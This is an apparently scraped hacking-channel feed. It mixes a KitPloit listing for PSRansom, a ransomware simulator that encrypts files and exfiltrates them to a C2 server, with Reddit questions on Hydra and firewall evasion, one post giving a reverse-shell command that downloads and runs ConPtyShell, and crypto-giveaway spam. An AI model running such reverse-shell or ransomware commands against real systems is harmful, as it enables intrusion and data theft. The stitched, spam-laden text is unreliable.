KitPloit - PenTest Tools!
PSRansom - PowerShell Ransomware Simulator With C2 Server

https://blogger.googleusercontent.com/img/a/AVvXsEiFAhtUC9yvejiGluvRxk1idCkAzTTYJuzXc7xVJfOxCZNWY4WuuYtBoRZGHX-99Vso9SZLdDBDYu9A6ZwD374mD6EUE43vprR2hvle8W7TxYenLGJYWmvDAIPwFEqh1SPUb7KzJYZ_DBG3A1V1bKisx2eIfL3fcRmo9sX4JjMvg8X3em9qB5fhVJS_=w640-h400
PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP.

All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time.
Requirements

* PowerShell 4.0 or greater

Download

It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:

git clone https://github.com/JoelGMSec/PSRansom


Usage

.\PSRansom -h

____ ____ ____
| _ \/ ___|| _ \ __ _ _ __ ___ ___ _ __ ___
| |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \
| __/ ___) | _ < (_| | | | \__ \ (_) | | | | | |
|_| |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_|

----------------- by @JoelGMSec ----------------

Info: This tool helps you simulate encryption process of a
generic ransomware in PowerShell with C2 capabilities

Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port
Encrypt all files & sends recovery key to C2Server
Use -x to exfiltrate and decrypt files on C2Server

.\RansomShell.ps1 -d Directory -k RecoveryKey
Decrypt all files with recovery key string

Warning: All info will be sent to the C2Server without any encryption
You need previously generated recovery key to retrieve files



The detailed guide of use can be found at the following link:

https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell

License

This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.

Credits and Acknowledgments

This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec

Contact

This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.

For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.
Download PSRansom

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Youtube

Is there a script to ban certain youtube channels / keywords from showing in youtube algorithm video suggestions?

submitted by /u/username9515
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I finished my first blog post and would like your opinion about it. Feel free to say what I got wrong since I'm no expert in this field.

https://external-preview.redd.it/J9tNlC4LV7hwB1YX9md6ENCoMp5h3DJ3m1icXKC50_4.jpg?width=640&crop=smart&auto=webp&s=ed55b9b22a9a97ad5f678cba5ee8b736a1223c1e submitted by /u/DeadlyC14
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Kali Linux on a macbook pro with parallels

When I’m switching from an external monitor to the screen of the laptop. The resolution of kali linux doesnt scale right. Does someone have tips?

submitted by /u/overigegebruiker12
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hydra hacking

I’m testing hydra cuz I know how to use it but never really try use it, and I tried hacking my Linux account(like root) and wtf am I supposed to put in the ftp thing part

Cuz it isn’t http/https/ftp “Hydra -l “root” -P ‘’.txt \ ‘’ 127.0.0.1 “ (Not acc ip) But where do I put in the part before the 127.0.0.1(not real ip) part

submitted by /u/retro_Ztro
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

PSRansom - PowerShell Ransomware Simulator With C2 Server

PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. This tool helps you simulate encryption process of a generic ransomware in any system on any system with PowerShell installed on it. Thanks to the integrated C2 server, you can exfiltrate files and receive client information via HTTP. All communication between the two elements is encrypted or encoded so as to be undetected by traffic inspection mechanisms, although at no time is HTTPS used at any time. Requirements PowerShell 4.0 or greater Download It is recommended to clone the complete repository or download the zip file. You can do this by running the following command: git clone https://github.com/JoelGMSec/PSRansom Usage .\PSRansom -h | \/ || \ | |) _ \| |) / ' | ' \/ |/ \| ' ' \ | / ) | \ < (_| | | | \_ \ () | | | | | | |\| |_/|_| \_\_,_|_| |_|_/\_/|_| |_| |_| ----------------- by @JoelGMSec ---------------- Info: This tool helps you simulate encryption process of a generic ransomware in PowerShell with C2 capabilities Usage: .\RansomShell.ps1 -e Directory -s C2Server -p C2Port Encrypt all files & sends recovery key to C2Server Use -x to exfiltrate and decrypt files on C2Server .\RansomShell.ps1 -d Directory -k RecoveryKey Decrypt all files with recovery key string Warning: All info will be sent to the C2Server without any encryption You need previously generated recovery key to retrieve files The detailed guide of use can be found at the following link: https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell License This project is licensed under the GNU 3.0 license - see the LICENSE file for more details. Credits and Acknowledgments This tool has been created and designed from scratch by Joel Gámez Molina // @JoelGMSec Contact This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it. For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net. Download PSRansom
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Website Gov Audit Misconfiguration

https://cdn-images-1.medium.com/max/1038/1*DDP8rgv2zzRQXnsyfjcrzA.jpeg
hello all pentesters and IT admin today am gonna show you How I break into Government web site.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Recently, a sample of ransomware targeting Russia was discovered. Interestingly, the ransomware does not require ransom money unlike ordinary ransomware, but instead sends a message to stop the war.

https://external-preview.redd.it/AlO0lYoj3VBFb_1lMrznnYAnsZKA9YYi-eGI-7JTuy4.jpg?width=640&crop=smart&auto=webp&s=79ef2f011be5385d9e588dae36cdd134c622e02c submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...

BlueBit Testnet Launch and Rewards Giveaway!
https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium » (https://bluebitfinance.medium.com/bluebit-testnet-launch-and-rewards-giveaway-e17a53b4ec77?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Broken screen android, no USB debugging enabled, how do I access it?

This seemed like the best place to ask. I have a Samsung J5 with a broken screen, unresponsive. I'm trying to request a new Whatsapp backup because my current one is very old. But I can't access it because of this mf broken screen. Also USB debugging isn't enabled because I'm a moron.

Is there a way to this? I've tried remote access to no suceess and ADB but it doesn't list my device, also almost every remote access tutorial's first step is enabling this god dammed USB debugging option.

submitted by /u/Downhouser
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/9i6ZEzRNhufXY-0NrJ-6kxkQqv_MmmnAn68L0QNIBJM.jpg I am trying to use a raspberry pi 0 to get a reverse shell into a windows machine, on the raspberry pi I am using stty raw -echo; (stty size; cat) | nc -lvnp 4444 -s (ip of raspberrypi), and on the windows machine IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell (ipaddress of raspberrypi) 4444. After running this I then get this error:

https://preview.redd.it/7ixax627coo81.png?width=2218&format=png&auto=webp&s=4156ec53c1414678e7d55f86cc122a017a9cdd2f

submitted by /u/RepliedDawn
[link] [comments]

hacking: security in practice
Breaking the Russian Firewall

I have a good friend who is stranded in Russia. Does anyone have any quick and dirty methods for breaking the Russian firewall o subvert that clown Putin? Best case I can email her some software. Thanks!!!

submitted by /u/Goofy-F00T
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

BlueBit Testnet Launch and Rewards Giveaway!

50,000 $BBT + 200 $Aurora Giveaway!Continue reading on Medium »
Read more...

Kali Linux Tutorials
How To Track Down Your Lost Devices?

No one likes to lose their smartphone, but with today’s geolocation technologies, you still have a chance of recovering it. If your gadget has gone missing, you can check for it at the place suggested by the geolocation service.

It’s frustrating to lose any item, whether it’s a phone, a tablet, or a ruggedised device for the office. This is especially true if you’re attempting to assist someone else in locating their smartphone, whether it’s a buddy or coworker.

To track your smartphone, you can use china post tracking service to make the tracking process faster and more effective. Want more? So, let us dive right in.

How to track down devices that have been misplaced or stolen?

Find my phone features in Apple devices.

Apple makes it simple to track down lost phones, stolen tablets, and other items.

If you’ve misplaced an iPhone, iPad, or iPod Touch, you can utilize Apple’s iCloud service to use the Find My app, which will show you the last location where the device was spotted. You can then use loud noises to find it, leave a note for someone who finds it, or lock it down.

How to find offline devices is one of the most intriguing features of the Find My app. Apple uses local device detection on all of its devices. As a result, if someone walks by your device with an Apple device that supports offline detection, you will be alerted to its location.

You must ensure that the Find My feature is enabled in the device’s privacy settings. Otherwise, Find I will not be able to find your iPhone or iPad.

What Is the Best Way to Locate My Android Phone or Tablet?

We have a few solutions at your disposal if you need to locate your Android phone or tablet.

You may use Google’s Find My Handset service to locate your Android device, regardless of its model. You can then choose to play a sound, lock the device, or erase all content for utmost security.

Unfortunately, Find My Device will not work in certain situations. For example, the gadget must be linked to a Google account, connected to the Internet, and set up the required permissions. As a result, if the device is not connected to the internet, the service will not function.

What’s the Best Way to Find Feature Phones or Any Other Device That Doesn’t Run iOS or Android?

If you lose a gadget that isn’t running iOS or Android, you’ll have a harder time recovering it. Nonetheless, you should not give up. You can find your phone — or at the very least, eliminate theft concerns – if you do some planning ahead of time.

You can contact a local police station and file a report if you have recorded the IMEI (International Mobile Equipment Identity), Mobile Equipment Identifier (MEID), or Electronic Serial Number (ESN) number. Officials will be able to look for the device from there.

It’s even more frustrating if your misplaced equipment belonged to your employer. Of course, the methods outlined above can aid in the recovery of stolen company tablets and other devices.

Prevent Personal Info Access

The next step is to keep the thief from gaining access to your sensitive data. Look at the apps’ websites to see whether you can log out or de-register. Also, change your passwords. Data access prevention varies by device; for example, the Blackberry Protect website allows you to lock and change your password, view your device’s location, wipe all of your data, mark the device as stolen, etc.

Let’s wrap up:

Finding the lost device is such a daunting and hard nut to crack. But use our effective guide and follow the above giving instructions carefully for effective results.

___________________________
@hacking_Attack
@Hacking_Video